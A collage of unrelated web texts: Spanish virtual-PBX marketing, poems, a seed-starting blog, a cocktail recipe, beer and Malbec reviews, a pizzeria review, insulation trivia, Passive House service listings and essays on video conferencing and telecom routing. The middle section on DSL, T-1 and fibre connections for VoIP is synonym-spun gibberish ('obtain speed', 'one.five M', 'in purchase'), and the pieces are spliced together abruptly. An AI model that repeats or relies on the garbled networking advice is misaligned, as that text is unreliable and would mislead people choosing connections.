• No se instala ningún conmutador en las instalaciones del cliente (sólo cableado y teléfonos), reduciendo contaminantes en un 80%
• El servicio no se realiza en las oficinas del cliente, se hace remoto eliminando el desplazamiento técnico, reduciendo al máximo los contaminantes al no desplazarse
• Se emplea menos de 10% de la energía eléctrica para operar los sistema

Deceived by my
cappuccino, my
french cigarette, my
only indication of the cold
in the dark morning
is my breath’s visibility

Taking my last
sip, my last
puff, the last
remnants burn in the ashtray
and I kill the ember
turning bright red into grey ash.

This cilantro was bought at the store (for cooking) about a month ago and I just left what remained in the fridge.  In the end, I stuck it in water and it perked right up and started pushing out new shoots.  Then I got hasty with the Miracle-Gro and it shriveled.  Some of it lived, as you will see later.  This is the pre-fertilizer picture:

One of the Pinterest/FB-inspired items is next:  using eggs for sprouting seeds.  I started by putting one helping of used tea leaves (and some tea bags – shredded) in the bottom of each egg, then seeds, then soil.  Before I seeded them, I labeled each one with a Sharpie.  I didn’t see the labeling on FB, so I’ll take full credit for the genius of it.  You will notice that the sage egg didn’t handle as well as the others.  I put some leftover plastic wrap under that one after.  Note that eggs are waterproof and come with their own stylish carrying case.

For vegetables, I wanted something bigger than an egg, but not as big as a planter box.  Since I will be away, I will bring them to my parents’ house until June.  (They don’t know that yet…) So, I wanted something small enough to bring there (and bring back in June), and would allow me to plant them farther apart once they have sprouted.  (Sadly, I will miss the stage of cute little sprouts.)  Yogourt containers are a great size (I can even put the lids on for the trip north tomorrow), but I didn’t want the roots to grow intertwined before I separate them.  I needed something to divide my yogourt containers into three or four parts, which would allow me to separate three or four seedlings in June.  The flyers had just come and were laying beside me on the floor.  Perfect!  I know the ink will leach into the soil, blah, blah, blah, but it is biodegradable and easy.  I made little pockets out of newspaper to keep my seeds apart. (Inspired by the newspaper cones of roasted peanuts in Delhi.)  I don’t know how well it will work, so don’t blame me if you try it and it fails miserably.  If you want to proceed, this was my process:

Step 1:  Fold a square in half to make a triangle: (this is one quarter of a Staples flyer)

Step 2:  Fold the ends in to create your pocket. Keep the edges approximately a hand width (not hand span!) apart.

Step 3:  Tear off excess paper.  You only need to fold over those “arms” to keep the pocket in place.  Anything more than an inch is just taking up space in your container.

Step 4:  Separate the two pointy edges to create your pocket.  I found three fit nicely in a yogourt container.

Step 5:  Fill with soil.  I found that filling each section with a bit of soil, then adding more in rounds worked better than filling one whole section before the others.  They stay more evenly spaced this way.  I put three seeds in each section for a total of nine seeds per container.  (That might be a bit much when the beets start to grow!)  Each container held one type of seed.

All done!  I labeled each container with a Sharpie.  After this picture, I folded down the pointy parts of the newspaper, just to tidy things up.

The whole garden!  Note that the cilantro is in a milk container.  It was looking a bit sad after the fertilizer incident, so I put it in soil.  The milk container is another steal off FB.  It is waterproof and keeps the cilantro from falling over.  I think it will recover once it goes outside.

If you are curious what I planted, the back row contains beets, zucchini, peas and beans.  The front row is rosemary, mint, thyme, chamomile, sage and sweet basil.  I am going to make a better effort to dry my herbs this year.  The last of my dried basil is my favourite smell in my apartment.

Happy gardening!

Cucumber Mint Vodka Cocktail 

Serves: 2

• 2 mini Cucumbers
• 2-3 Limes
• 1 cup of Mint Leaves
• 4 ounces of Vodka
• 2 teaspoons Simple Syrup or Sugar
• Sprite/Seltzer Water

1. Slice the cucumbers in half lengthwise and scoop out the seeds.  Roughly slice the cucumber into pieces and place into a cocktail shaker.  Muddle cucumbers to release the juice.
2. Add mint, syrup/sugar and lime juice and muddle with cucumbers.
3. Add ice and shake.
4. Add vodka and continue to shake.
5. Strain into cocktail glass filled with ice.
6. Top with Sprite (if you like sweeter) or Seltzer Water (more refreshing/tart).
7. Garnish with mint, lime slice and/or lemongrass stalk.

Wi-fi

Fractional T-1, T-1, Bonded T-one, DS3, OC

Position to Stage T-1

Frame Relay

Fiber Optic

We will consider a search at the asymmetrical connections first, as they have a tendency to be the most unreliable. Asymmetrical data connections consist of common household high quality DSL, some company DSL, Cable net, Satellite web, and Microwave web. In most of these circumstances, the obtain speed will often greatly exceed the upload speed. For occasion, it is not strange to see a DSL deal detailed at up to one.five M download, and up to 384k upload. “Up to” being the key. You in no way get entire velocity, and it can frequently be quite a bit much less. A speed test will be in purchase throughout many parts of the working day to examination for speed and network versions. DSL typically gives no guarantees of support stages or uptime, and as a shared network, speeds will fluctuate through the day. Web visitors must be very carefully monitored if you are using your information link for voice programs, as it is frequent for voice conversations to be interrupted with information visitors if QoS routers are not in spot.

ADSL circuits also are inclined to suffer from more jitter and latency than other varieties of large high quality information circuits, so if this resolution is utilised to hook up remote users of offices, it is imperative to have a VPN router on each sides of the connection to ensure the very best achievable quality. Some downtime is to be expected on an yearly basis, but it can be a enormously cost successful connection alternative. Wi-fi choices such as satellite or microwave are in no way recommended, as there is typically as well significantly latency concerned to preserve call integrity. ADSL is not typically advised for a area with far more than one-two customers. ADSL is never ever suggested for a hosted remedy.

SDSL, or symmetrical DSL, is a preferable choice more than ADSL. This type of link provides end users the identical add and down load speeds, and it is generally a business class circuit that arrives with some good quality assures. Often speeds are noticed such as one.5M down/one.5M up. 768k down/768k up. Preferable above ADSL alternatives, but also much more costly. For some organizations, this would be a bare minimum suitable remedy for a area with numerous users.

Fractional T-1, T-one, Bonded T-1, DS3, OC: All of the T-1 types of support and better are great possibilities for VOIP options. All Fraction T-one circuits and previously mentioned have been completely analyzed above time, and they offer stop end users with a greatly trustworthy answer. With symmetrical data answers typically beginning at 384k and up, T-1′s have a certain uptime unmatched by other available info circuits in addition to fiber. Voice Prioritization is nonetheless essential at both the community degree by means of MPLS or at the conclude user stage when connecting offices. Voice conversations must usually have priority above bursts of data traffic in purchase to sustain ideal phone high quality.

Industrial fiber choices can bonded adsl uk bypass all classic points of failure on normal networks and can supply the very best feasible VOIP link solution.

Here are some screen shots of the website. Again, I said before – I quite like simple sites and nothing too fancy. But it’s still quite different to the other website.

I’m always looking for better beer. I’m not content with run of the mill breweries and with the continued growth of craft beer and new breweries popping up daily, there’s really no excuse for drinking bad beer. But getting the beer from source (brewery) to destination (mouth) isn’t as straightforward as one might think.

Luckily, designers and brewmasters are working together to improve vessel technology. Here are three design innovations to optimize the beer drinking experience.

The “Topless” Can

As canned beer continues to grow in popularity it was only a matter of time before the traditional can got a makeover. The vessel has many strengths, but it also mutes one of the many pleasures of drinking good beer – the aroma. The small pull-tab opening prevents the beer from “breathing” and thus, masks the aroma of the beer, which, studies have shown, affects the way we taste something. Get close for a whiff of a beer in a normal can and you risk cutting your nose on the small opening.

Pennsylvania’s Sly Fox has a fix for this (mostly beer geek) problem: a “topless” 360 Lid that comes off completely. They are the first U.S. brewery to put the can into market. And for those worried about cutting their mouth on the new 360 Lid, Crown Beverage Packaging, manufacturers of the new lid, says it won’t be an issue. Crown’s Brian Thiel told today.com, “Once the lid is removed, consumers do not come into contact with any rough edges as they drink from the can.”

My only real concern with this new “topless can” is that it somewhat defeats one of the many reasons for drinking beer out of a can. Namely, spillage. I’m wondering what playing a game of cornhole in a park, a round of disc golf or riding in a boat looks like with this new can. These are situations where only a canned beer makes sense and I can only imagine lots of beer sloshing out of a topless can.

Residents of Pennsylvania, New York or New Jersey, can judge for themselves as the new cans are debuted on Sly Fox’s Helles Lager, a Great American Beer Festival award winning beer that should satisfy Bud, Miller and Coors drinkers and beer aficionados, alike.

The Bräuler

Like cans, growlers continue to be a growing trend in the world of craft beer. A typical growler is a 64-ounce glass jug used to take home fresh beer from the tap at a brewery, beer store, or bar. They have, however, have been problematic for enjoying beer at the pool, camping, on the beach or any other place glass is prohibited or prone to breaking. No more, say the folks behind The Bräuler, a stainless steel beer growler that is virtually indestructible. The Bräuler’s inventors also claim that it keeps beer colder and holds CO2 much better than standard glass vessels — essential when getting beer from a tap and saving it to enjoy later.

The only downside to The Bräuler is the cost. Many beer drinkers own several glass growlers and even collect some that have brewery logos on them. This is an affordable hobby because most growlers only cost about $5. The Bräuler retails for around $50. This would make a great gift for a beer lover, but probably won’t have the same mass appeal or popularity as the traditional glass version.

IPA Glass

Glassware is a part of the beer drinking experience that should not be overlooked. Much like smell, our sense of sight plays a role in how we perceive or taste something, and the proper glass can take a boring-looking beer and turn it into a thing of beauty. Each beer style has a specific type of glass designed to showcase the particular nuances of the beer. Pour the same beer into the pint glass and into a snifter, and you’ll notice the differences.

The pint glass has long been the standard for IPAs, but German glassware company, Spiegelau, wondered if it could be improved upon. After countless research sessions and prototypes, designers developed what they believe to be the end-all-be-all glass designed specifically for IPAs. To further add credibility, Spiegelau called on two craft beer pioneers – Sam Calagione of Dogfish Head and Ken Grossman of Sierra Nevada – to assist in picking the final design. The result is the brand new IPA glass (pictured above).

The walls are thinner than those of traditional glasses, which helps the liquid maintain a consistent temperature. A hop leaf is etched onto the bottom of the glass, causing tiny bubbles to rise and accentuate the beer’s carbonation as it is poured. The top half is bulb-shaped to accentuate an IPA’s distinctive aroma. The bottom half of the glass is rippled, causing beer to cascade as it’s drunk, maintaining the foamy head that brewers and drinkers desire. Or so Spiegelau claims.

I wasn’t convinced, though, so I did my own testing of the glass at home. I poured the same beer, Dogfish Head 75 Minute IPA, from the same bottle, and poured the same amount into a standard pint glass and into my new Sierra Nevada-branded IPA glass. Here is what I found:

Temperature
I took the temperature of the beers in both glasses at the beginning, then 20 minutes later and then 20 minutes after that. The beer started at 50 degrees, but by the next reading, the IPA glass was at 51 degrees and the pint glass was at 55 degrees. The final temperature reading: IPA glass – 53 degrees, pint glass – 59 degrees.

Head
The foamy head on both beers was relatively the same from the beginning — about one inch. But, as I continued to drink both, the head faded on the pint glass and was nonexistent by the end of the beer. The head on the IPA glass, however, only slightly decreased and maintained a head of around 3/4 to 1/2 inch throughout.

Aroma
The most distinct difference I noticed with the glasses was the aroma. It wasn’t even close. The IPA glass really stood out and smells of maple syrup, floral hops and alcohol were much more detectable over the pint glass.

Appearance
The IPA glass also won on appearance. The beer in the IPA glass looked, strangely enough, beautiful. The color subtly progressed from light to darker as I looked at the glass from the bottom up. This is due to the odd shape which illuminates the light differently at various parts of the glass. The same beer in the pint glass looked one dimensional.

Effervescence
And then there are the bubbles. The etching at the bottom of the IPA glass definitely serves a purpose. Tiny, beautiful bubbles shot from the bottom and lasted from beginning to end. The beer in the pint glass was calm and still and, compared to the IPA glass, looked boring.

Taste
Now the most important part: the taste. Frankly, there wasn’t much of a noticeable difference in the initial sips. It’s a great beer to start with and it still tastes great out of both glasses. However, as I continued to drink the beer, it finished better in the IPA glass, mostly due to the cooler temperature in the IPA glass which the pint glass could not maintain.

Verdict
My overall verdict is that the IPA glass delivers and is definitely superior to the traditional pint glass. The IPA glass, or any beer-specific glass for that matter, isn’t necessarily out to improve upon the taste of the beer; rather, it’s intended to maintain the taste the brewer had in mind from the first sip until the very last. The IPA glass absolutely accomplishes that.

But there are a few factors that might prevent this new glass from becoming the standard. The glass is so thin, I can’t imagine it working in a bar setting and the price, compared to pint glasses, is pretty steep. The IPA glass retails for $10-12, but it’s currently out of stock at the Spiegelau and Dogfish Head websites, so maybe the price isn’t deterring many customers after all. (As of this writing, Sierra Nevada still has some available).

Lastly, the glass might be a little too “out there” in its design to attract a big enough audience. A friend commented on an Instagram photo I took of the glass and remarked that it looked similar to an object designed for another kind of adult activity. You be the judge on that one.

What do you think? Are these new beer vessels worthy or just a gimmick? Let me know in the comments below. And regardless of the vehicle used to get the beer into your mouth, as long as it’s good craft beer, you can’t go wrong.

Previously — Why I drink good beer

Today, I’m told, is Malbec World Day. Why it isn’t World Malbec Day, I don’t know, though certainly the Argentine Ministry of Foreign Affairs and Worship must; they, after all, are the ones who came up with it. Nevertheless, “Malbec World” sounds like a department store, and personally, I think that if they wish this celebration to catch on, they ought to reverse it.

That’s where my complaints end, though. I’m entirely happy with Malbec itself, a red grape that first achieved notice in the French regions of Bordeaux (where they largely ditched it after a big frost in 1956 killed off most of the Malbec vines) and Cahors. But French Malbec (or Cot, as it’s sometimes called) can be bruisingly tannic and tough, and it’s Argentina where Malbec has really come into its own.

The grape arrived in 1868, carried over by a French agricultural engineer named Michel Pouget, and now it’s grown on more than 75,000 acres. As well there might be: Argentine Malbec at its best combines vivid black-fruit and spice notes with a firm (but not aggressively tannic) structure. On top of that, there are very good Argentine Malbecs available for modest prices — never a bad thing. Here are five to check out.

2011 Bodini Malbec ($9)
Dark cherry fruit and an appealing kick of spice from a few months in oak barrels make this affordable Malbec a terrific deal.

2011 Durigutti Malbec ($12)
Purple hued and blackberry rich, this Mendoza red has a succulent juiciness that’s hard to resist.

2011 Argento Malbec ($13)
This screw-cap sealed, plummy wine gets a sweet vanilla note from oak aging. It’s plush and abundantly juicy; not exactly subtle, so serve with an equally unsubtle dish like a big, rare steak.

2010 Terrazes de los Andes Reserva Malbec ($17)
Velvety tannins give this ripe red a luscious mouthfeel, and its flavor is robust enough to balance the substantial amount of oak presence.

2009 Finca 8 Reserva Malbec ($27)
It’s on the pricey side, but this polished red (made by one of Argentina’s greatest winemakers, Roberto de la Mota) pays off with layers of fruit and a distinctive mocha note.

More from Food & Wine:

Best New Places to Drink Wine

America’s Best Beer Bars

Best Burgers in the U.S.

Best Fried Chicken in the U.S.

Ultimate Spring Recipes

I recently took a jaunt to Phoenix to reunite with three of my best friends in the world. These are the salt of the earth people who you know will always be there for you regardless of what happens in your life. They even do stuff like read your blog. And encourage you to hang out unsupervised w their kids, hoping that you remember not to curse or teach them other bad habits. I will never be able to spend enough time with these ladies. And not because we are all spread across the country, but because there is just not enough time in the world to spend with your favorite people in the world. Things like work, life, errands and whatnot get in the way. So I treasure the time that I have with them.

And when I can drag them to a culinary experience that I have basically been stalking for YEARS, I think a joy portal opens up in the universe and perhaps alters the path of space and time forever. Or something like that. You may have guessed by the rather mysterious title of this posting that I’m referring to Pizzeria Bianco. I legit have been reading about this place for eons. It is one of Food & Wine’s top pizzerias in the country with good reason. So when my friend announced that Friday night was “adults” night and that we were going to go to a wine bar and then some place else, I immediately asked if we could go to Pizzeria Bianco. Which is SUPER hard to get a reservation for. And I knew it was a bit of a pipe dream, but one that I would choose to dream. The fates basically aligned and an awesome new friend scored us some reservations. I would be lying if I said I wasn’t a little over the moon about it. And perhaps willing to fly across the country for this alone.

Pizzeria Bianco is a legend in the Phoenix area. Chris Bianco was basically a dude who grew up in New York and learned how to make killer mozzarella and pizza. By the grace of the gods, he wound up in the desert and dug it. He created this restaurant and then expanded it a bit, but not into an empire like some of his brethren. He kept it real. And used to make every pizza himself.
The place is tiny, intimate, intoxicating.

We got there and settled into a bench outside in the Bar Bianco area. Yes, the man was smart to buy the house next to restaurant and open a wine bar. Where people can linger and wait for their table to come up. The wine list was carefully curated and had a surprising amount of local wines. Yes. Arizona wines. Look, it is no shock that I’m a wine snob. I have devoted many hours of my life, or likely more weeks/months by now, to studying wine. It is more than a passing interest. It is a passion, a way of life and hopefully a future career. So when I realized there was a the burgeoning wine culture in Arizona, I was shocked. Grapes… growing alongside cacti? Ok. Cool. I’m game.

We tried an off menu rosé, which I declared as “stunning” and proceeded to catch a rash of mockery by my friends. Mind you, this is our way. The core of our relationship is based on utter acceptance and complete mockery of each other. It could be no other way. So I took their chiding as unbridled love. And we drank our “stunning” Arizona rosé. And it was gooooooood. Basically a hint of what was to come.

Once we had our table Horatio, a gentleman and a scholar (at least a pizza scholar) helped to guide our journey. Anti-pasti, check. Olives, si. Four pizzas, of course! (in all fairness there were seven of us, so it was hardly an aggressive order) We got the Sonny Boy (salami, house-made mozzarella, gaelec olives), the Biancoverde, the Wise Guy and then asked him to surprise us. Best decision I have made this year. He came back with half margherita and half Rosa. I scarfed down the Sonny Boy, because I’m a dyed in the wool pepperoni and olive pizza girl. Put that spice, salt and creamy together and stick a fork in me, I’m done.

The Wise Guy had smoked mozzarella and fennel sausage, which was my friend Carey’s favorite. She had shared a story that I don’t think I ever knew about her earlier that eve… how her grandpa used to make sausage and how she would help him. Her job was to clean out the sausage casings. Yep, she had to make sure the intestines were clean as a whistle. Kinda gross? But kinda rad? I knew she has an affinity for sausage, as I’ve known her for over 20 years. But this whole stint in a sausage factory thing, pretty cool to uncover.

The Biancoverde was good. Not the star of the evening, but nothing to stick your nose up at either. However everything, I repeat everything, was overshadowed by the dark horse half pizza that we almost didn’t order. The Rosa. It sounds simple and quite frankly, something that I didn’t give a second thought to. Mozzarella, parm, rosemary and pistchios. Yep. Those crazy green nuts. It was mind blowing. The amount of flavor that was teased out of that lone slice was overwhelming. It was savory and almost meaty. Which was bewitching, as there was no meat. Just those wacky green nuts that like to hang gangnam style.

The sad news is that I didn’t start taking pics until we had pretty much devoured the pizzas. But the good thing is that it proves how exquisite they are. I’m already plotting the next return because, yes, it was that good. And I have no shortage of amazeballs pizzas in NYC. Clearly if one has eyes, ears and a brain between them, one knows that NYC can make a mean pizza. But this was just unique. Special. Dreamy even.

So if you find yourself in the desert and it just so happens to be Arizona, do yourself a favor. Go to Pizzeria Bianco, order a Sonny Boy, a Rosa and a bottle of local Rosé. You won’t be sorry. In fact, you will feel a type of joy that you  didn’t realize you were capable of. At least for about an hour.

Ciao, ciao.

social icons for site 2 are from here.

I used this site to choose fonts to change the navigation on my second website to be the same as the header.

I used Bebas Neue Regular for the navigation and for the headings of the posts and other boxes I have used Enigmatic. Other fonts on both websites are Arial. 

Don’t forget to tell us a Did You Know fact about yourself, your company, or projects you are working on! We look forward to hearing about you and your projects.

Did You Know these things about Plasti-Fab?

1) Our foam is used in 60+ film productions across Canada, such as Poltergeist, Saving Silverman & more ow.ly/jqLny

2) In Alberta alone our trucks drive about 225,000 km’s per year delivering our product?

3) PlastiSpan can be used in both interior & exterior applications? See our insulation applications ow.ly/jVUGF

4) Plasti-Fab was founded in 1968; we’ve been in the insulation business for 45 years. ow.ly/jr0rA

5) We are a publicly owned Canadian Company traded on the Toronto Stock Exchange (TSX) as PFB  ow.ly/jqMoF

Did You Know these things about Insulspan SIPs?

1) Insulspan panels are designed to ensure quality of strength by resisting deflection (sag) with Deflection<=Span (in.) /360.

2) Insulspan provides a Ready-to-Assemble system, delivered directly to your job site? ow.ly/k01or

3) Insulspan supplies glue-lam roof support with architectural grade glue-lams? ow.ly/jVVj4

4) Did you know all our products are code approved and at Insulspan we own our testing data ow.ly/jqDJP

5) Did you know Insulspan supplies detailed shop drawings that include all details in building with SIPs. ow.ly/jqCxq

Did You Know these things about Advantage ICF?

1) Building with Advantage ICFs  provides improved energy efficiency & effective thermal resistance? ow.ly/k4F0a

2) Our system has indented line marks on all blocks @ 25.4 mm (1″) intervals to simplify measuring & marking ow.ly/k013I

3) Advantage ICFs are delivered directly to job sites? ow.ly/jVUXo

4) Advantage ICF blocks are manufactured in Alberta ow.ly/jqC4b

5) The  Advantage ICF System can be cut to provide any shape as long as the structural supports are designed accordingly?

Follow us on Twitter

@PlastiFab | @InsulspanSIPs | @InsulspanSIPsCa | @AdvantageICF

The header and navigation has been done and lies as the following image below. I prefer having simplistic websites – which I am sure will be seen in both websites when this assignment is complete.

Passive House Design and Certification Services 

Passive House Design is the next step beyond the US Department of Energy’s Builders Challenge Home version 2 Program.  In North America Passive House Academy is the largest affiliate of International Passive House for Passive House Certification, Training of Certified Passive House Consultants and Certified Passive House Tradesperson, Therm Training, and Passive House Principals.  For more information on Passive House Academy’s Classes and Passive House Certification, please review their web site at http://www.passivehouseacademy.com/#!Directory/sitepage_1 

Eco Smart Building LLC offers Passive House Design Services that includes the requirements for project certification by; International Passive House, US DOE Builders Challenge Home Version 2, and Energy Star Version 3.

Eco Smart Building LLC offers Plan Review, Passive House Planning Package Modeling and Review, Project Certification Services including; Passive House Site Verification in conjunction with Passive House Academy, US DOE Builders Challenge Home Version 2, Water Sense, Indoor airPLUS, and Energy Star Version 3.

Contact us for additional information on our Passive House Design Services or a Passive House Project Review.

US Department of Energy Builders Challenge Home Version 2

Eco Smart Building LLC is a US Department of Energy Builders Challenge Home Version 2 Partner as a; Builder, Verifier, and Trainer

Builders Challenge Home Version 2 uses less energy then a standard Energy Star Version 3 project but the program requires Energy Star Version 3 Certification plus Indoor airPLUS and Water Sense Program Certification.  Builders Challenge Home Version 2 requires that projects are solar ready, Photovoltaic and Solar Thermal.  Our extensive experience with renewable energy systems allows us to design and certify; solar, small wind, geothermal, and Earth Tube Ventilation Systems.  We offer the following services;

Builders Challenge Home Version 2 Design Services

Builders Challenge Home Version 2 Builders Training

Builders Challenge Home Version 2 Designer Training

Builders Challenge Home Version 2 Project Verification

            Off of Plans (Plan Review)

            Field Verification and Construction Administration

Indoor airPLUS Certification

Water Sense Certification

Energy Star Version 3 Certification

Contact us for additional information on design services or a project review.

Energy Star Version 3, Indoor airPLUS, and Water Sense Programs

Eco Smart Building LLC is an Energy Star Partner and a Certified Energy Star Version 3 Design Firm, which requires compliance with Indoor airPLUS, and Water Sense Programs.  Our Partnership status with Indoor airPLUS and Water Sense allows us to design and certify projects that meet all three program requirements.

Do you have a commercial, single family, multi-unit residential or mixed use project?  Projects that need to meet Energy Star Version 3 HERS Score of 40 or below or Energy Star Portfolio Manager Score above 65?  We offer the following services;

Energy Star Design Services

Project Plan Review and Modeling

Project Construction Administration to meet the Energy Star Requirements

US EPA Reporting of Projects that Meet the Energy Star Requirements

Energy Star Portfolio Manger Enrollment

Energy Star Version 3 RESNET Rating Providership Certification through our trained Certified RESNET Raters

Contact us for additional information on design services or a project review.

Renewable Energy System Design and Certification

Eco Smart Building LLC offers the following Design, Modeling, and Certification Services for the following renewable energy systems;

Active and Passive Solar

            Photovoltaic Systems

            Solar Mass Storage Systems

Solar Thermal

            Space Heating and Cooling Systems

Domestic Hot Water Systems

Earth Tube Balanced Ventilation

            Balanced Ventilation Intake Air Tempering

            Air tempering for Air to Air Heat Pump Systems

Geothermal Heating and Cooling

            Horizontal and Vertical Systems

            Open Loop Systems

            Domestic Hot Water Systems

Wind Turbine Systems

            Site Planning

            Wind Studies

            Performance Modeling

Waste Heat Recycling

Residential, Commercial, and Industrial projects can all cut there energy consumption through waste heat recycling

Contact us for additional information on our Renewable Energy Design Services or a Renewable Energy Project Review.

Project Incentives for Passive House, US DOE Builders Challenge Home Version 3, Energy Star Version 3, and Renewable Energy Systems

Eco Smart Building LLC works with a wide breathe of projects to achieve Federal, State, Local, and Utility Incentive for Projects.  Our extensive experience in developing project incentives can be leveraged to achieve all of the custom and prescriptive incentives that are offered in your project location. 

Contact us for additional information on our Project Incentive Services.

Cisco Telepresence (Photo credit: Tom Raftery)

“Win as if you were used to it, lose as if you enjoyed it for a change.”

Ralph Waldo Emerson (1803-1882) American writer and activist

I recall many years ago how I used to setup video conferencing across ISDN lines and the fun of trying to make the video run smoothly. These days, video conferencing has become ubiquitous along with the availability of faster communication links, i.e. broadband etc.

With better connectivity, the downward spiral of costs associated with video conferencing (VC) and increased competition, even smaller businesses can afford much better VC systems. The cloud has assisted by many companies offering cloud based systems, including Telepresence that only a few years ago were available to large corporates only.

Here comes the technical bit (Skip this paragraph if not interested): H.323 & SIP seem to be battling it out on which will become the defacto standard/protocol for VC and I suspect that over time both will be absorbed by one another and eventually SIP may be the one that all VC systems use.

The next battle zone will be video on the move. i.e. across smart phones aka mobile phones. The technology is certainly there now and so is the connectivity. As data charges become cheaper, the need for multi national businesses and even families to view each other as they talk will drive the need for video calling on the move.

This is great for eco-friendly consumers, such as me and our planet as it will mean that people have to travel less to meet each other. Change established mindsets will however take time, as many people still think it pertinent to travel to meet!

I have done a series of articles on management styles of business leaders and would like one of my readers to recommend who I should select for the next article. So, without further ado, here is your chance to recommend your choice, just leave your recommendation as a comment to this article. Please send your recommendations by 30th April.

Related articles

• List of Cloud Based Video Conferencing Companies
• 7 low-cost videoconferencing services: Which is best for your meeting?
• 2013 – Cloud Based Video Conferencing services review
• What the Future Holds for Video Conferencing Technology
• Yorktel Unveils New VideoCloud™ Video Conferencing Services Portfolio (prweb.com)
• Telepresence and Video Conferencing, Growing? (tmcnet.com)
• Infographic: Businesses Beginning to Utilize the Power of Video Conferencing (epicafinance.com)
• Video Conferencing. (elliecommunicationblog.wordpress.com)
• Remote Video Conferencing for Cost-Effective Depositions – and More (merrill-lad-magazine.com)
• MyVoIPProvider.com Reveals the Top 4 Important Ways IP Video Conferencing VoIP Service Improves Business Meetings (prweb.com)
• Global Video Conferencing Systems Industry (sys-con.com)
• Globalization of Businesses and Cloud Technology Drives the Global Video Conferencing Services Market, According to New Report by Global Industry Analysts, Inc. (prweb.com)
• Video Conferencing – Visually Amazing (business2community.com)
• Video conferencing guide- Learn about Video Conferencing (secondssite.wordpress.com)
• Differences between H.323 & SIP
• Detailed comparison of H.323 & SIP
• H.323 versus SIP: A Comparison
• H.323 vs SIP
• Cisco Telepresence
• Cisco Telepresence Products Page
• TelePresence: In-Person Experiences for All
• Cisco paper on H.323 & SIP Integration
• Cisco TelePresence Codec C60 
• Cisco TelePresence System Codec C60 Data Sheet
• Cisco MX series Codecs
• Cisco Completes $3.3 Billion Tandberg BuyH.239
• Cisco Buys Tandberg-What it Means 
• Cisco Receives Frost & Sullivan 2012 Global Videoconferencing Infrastructure Market Share Leadership Award
• Polycom: A potential takeover target following Cisco-Tandberg deal
• Polycom Solutions By UC Environments — Microsoft
• Bluejeans
• Lifesize
• Open Exchange – Who is it for?
• Vidtel
• Powwownow
• Codian
• TANDBERG MCUs and Video Conferencing Network Infrastructure
• Vidtel Gateway Adds Skype and GoogleTalk Video Conferencing to Existing MCUs and Bridges 
• Video Collaboration in Education is an Underused Resource
• Nefsis v. Hardware-Only Video Conferencing Solutions

Los conmutadores virtuales o sistemas virtuales de comunicación, son plataformas que nos permiten recibir llamadas, comunicarnos dentro de nuestra empresa y con nuestras oficinas o usuarios remotos.

La principal ventaja es que usted no compra el equipo, lo usa con todo y las líneas telefónicas que le brinda el proveedor, pagando el 70% de lo que hoy paga por sólo sus líneas telefónicas.

Dicho de otra forma, pensemos que hoy usted tiene 3 líneas en su empresa, que con todo y el consumo mensual de servicio telefónico paga un promedio de $1,000 pesos por línea o $3,000 pesos por las 3 troncales y que además requiere 6 extensiones para operar.
Si el anterior ejemplo es cierto, usted tendría que comprar un conmutador para 3 líneas equipado con 6 teléfonos, por el cual pagaría aproximadamente $10,000.00 pesos, adicionalmente $3,000 pesos mensuales de las líneas x 12 meses equivalente a $36,000 pesos al año, generando un total al año de $46,000 pesos.

Eso sí, sería un sistema analógico, probablemente con operadora automática y sería todo.

Si usted se convierte en usuario de un sistema virtual, por el servicio de 3 líneas y 6 extensiones con conmutador virtual, operadora automática, correo de voz, mensajería unificada, registro detallado de llamadas, grabación de llamadas, entre muchísimas funciones adicionales pagaría por mes $654.00 pesos o anualmente $7,848.00 pesos.

Además un conmutador virtual trae consigo líneas SIP, que ofrecen una mayor calidad de voz. Permiten conectar sin costo ni equipamiento especial sus extensiones remotas y la intercomunicación interna o externa no tiene costo, por lo que seguirá ahorrando considerablemente.

Los Conmutadores Virtuales en Mexico son una realidad y ofrecen ventajas enormes, que le ayudarán a su productividad y ahorro.

Living in the ‘Sip

Why do they stay where it is too hot to play?

Where people have no clear way to display

The things crowding about in their minds,

Contrasts and conflicts that gets all up betwixt

Inward thinking and outward smiles.

A glass of iced tea will gain you some miles.

Why stay where they say

We’re not as smart as they

Our skillz differ more than the meaning

Of killa, for reall-a, mad phat and iller

For she is iller than thou.

Love-hate is the way we play with the ‘Sip.

The hermit inside desires a forest fortress

But her chil’ren need the scrilla,

Pray it’s not in the roll of a killa

With no piece on thy hip

Wade in to the dark heart of the ‘Sip.

And find a find a way to make that low pay.

As long as she lets us play

‘ere the end of our last working day.

She’s been reviewed, deemed crude and later skewed

Though few have denied the beauty of her belles,

Of her river that swells, of her coast that boasts shells

She hides those treasures from the layman’s eye

A foreigner sees inward, sees successes, sees themselves,

Sees concrete as progress and places things upon shelves.

She shows us her skin, her flesh made of kin, sin

And the grin from a close and dear friend

The small and the meek, that dash across her streets

The big and the mean, wrapped in shades of green

Her poisons, her kisses, her evergreen wishes

Grace her chil’rens’ cheeks

Making them both grateful and vicious,

Prepared to enter her creeks and her streets.

Her simplicity is not something crude,

She understands the beauty

Of moving slowly and not being rude

The green of the forest, the scampering little creatures,

The sweaty brows and scuffed up sneakers

All at least have the strength of heart, unbidden

To take the vow to treat others as brothers

And learn to survive the heat from her kitchens.

“Why should I invest the time and money to implement a centralized-routing and database services engine into my next-generation network?”

Let’s start by looking at the legacy that we’ve inherited as an industry. Over the past 100 years our network deployment model has been to distribute both routing-instructions and subscriber-information out to the edge of the network in the form of “in-switch” routing and subscriber data.  There are of course exceptions to every rule but in general, networks have been designed with a routing-database and subscriber-database in every switch in the network.  Consider the following typical example:

In the TDM network, when a user on a given switch dials a number the originating switch first checks its own local subscriber database to determine if the destination user is served on the local switch.  If not, the switch checks its own local routing database to determine how to route the call to the next-hop.  The next-hop switch follows the same logic using its own in-switch routing database until the call reaches the destination switch that serves the subscriber. 

This model of hop-by-hop routing has been working for decades and it enabled the TDM network to span the globe.  Given the success of this legacy “in-switch” model, why should we consider changing to a centralized-routing model in the next-generation network?  I’ve encountered four powerful and compelling arguments that make the decision obvious.

1. Operating Cost Savings:  Centralized-routing allows all routing instructions and subscriber profiles to be provisioned and managed via a single logical system in the network.  As a result, the network operations team and business support team only need to learn one provisioning method and one routing engine architecture to support any number of network elements.  By comparison, the old “in-switch” model required the operations and business support teams to learn a different routing model for every type of switch in the network and every vendor in the network.  The long term cost savings of centralized routing are both significant and permanent in the next generation network.
2. Vendor independence:  Integrating a new network platform (SBC, MGC, AS, xCSCF, SMSC, MMSC, Softswitch, etc.) into the network is greatly simplified by removing the routing-database and subscriber database component from each network element.  In a centralized-routing environment each network element simply selects a standard protocol to access its routing instructions (AIN, CAP, ENUM, INAP, MAP, SIP, WIN, etc.).  As a result, carriers/operators can quickly and efficiently introduce new network elements and new vendors into the network with minimum increase in operational costs.
